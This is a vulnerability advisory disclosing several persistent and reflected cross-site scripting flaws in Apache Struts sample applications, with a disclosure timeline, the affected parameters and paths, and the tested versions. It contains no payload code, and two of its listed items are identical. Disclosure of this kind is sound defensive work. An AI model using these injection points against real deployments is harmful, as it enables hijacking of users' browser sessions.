SecPod ID: 1021                 21/07/2011 Issue Discovered
                        03/08/2011 Vendor Notified
                        No Response
                        01/02/2012 Advisory Released
Class: Cross-Site Scripting (Persistence)   Severity: High
Overview:
---------
Apache Struts Multiple Persistence Cross-Site Scripting Vulnerabilities.
Technical Description:
----------------------
Multiple persistence Cross-Site Scripting vulnerabilities are present in
Apache Struts, as it fails to sanitise user-supplied input.
 i)   Input passed via the 'name' and 'lastName' parameter in
      '/struts2-showcase/person/editPerson.action' is not properly verified
      before it is returned to the user. This can be exploited to execute
      arbitrary HTML and script code in a user's browser session in the
      context of a vulnerable site.
 ii)  Input passed via the 'clientName' parameter in
      '/struts2-rest-showcase/orders' action is not properly verified before
      it is returned to the user. This can be exploited to execute arbitrary
      HTML and script code in a user's browser session in the context of a
      vulnerable site.
 iii) Input passed via the 'name' parameter in
      '/struts-examples/upload/upload-submit.do?queryParam=Successful' action
      is not properly verified  before it is returned to the user. This can be
      exploited to execute arbitrary HTML and script code in a user's browser
      session in the context of a vulnerable site.
 iV)  Input passed via the 'message' parameter in
      '/struts-cookbook/processSimple.do' action is not properly verified
      before it is returned to the user. This can be exploited to execute
      arbitrary HTML and script code in a user's browser session in the
      context of a vulnerable site.
 V)   Input passed via the 'message' parameter in
      '/struts-cookbook/processSimple.do' action is not properly verified
      before it is returned to the user. This can be exploited to execute
      arbitrary HTML and script code in a user's browser session in the
      context of a vulnerable site.
  These vulnerabilities have been tested on Apache Struts2 v2.2.3,
  Apache Struts2 v2.0.14 and Apache Struts v1.3.10.
  Other versions may also be affected.
Impact:
--------
Successful exploitation could allow an attacker to execute arbitrary HTML
code in a user's browser session in the context of a vulnerable application.
Affected Software:
------------------
Apache struts 2.2.3 and prior.
Tested on,
 i)   Apache struts 2.2.3 - Stored XSS
      - struts2-showcase-2.2.3
      - struts2-rest-showcase-2.2.3
 ii)  Apache struts 2.0.14 - Stored XSS
      - struts2-showcase-2.0.14
 iii) Apache struts 1.3.10 - Reflected XSS
      - struts-cookbook-1.3.10
      - struts-examples-1.3.10
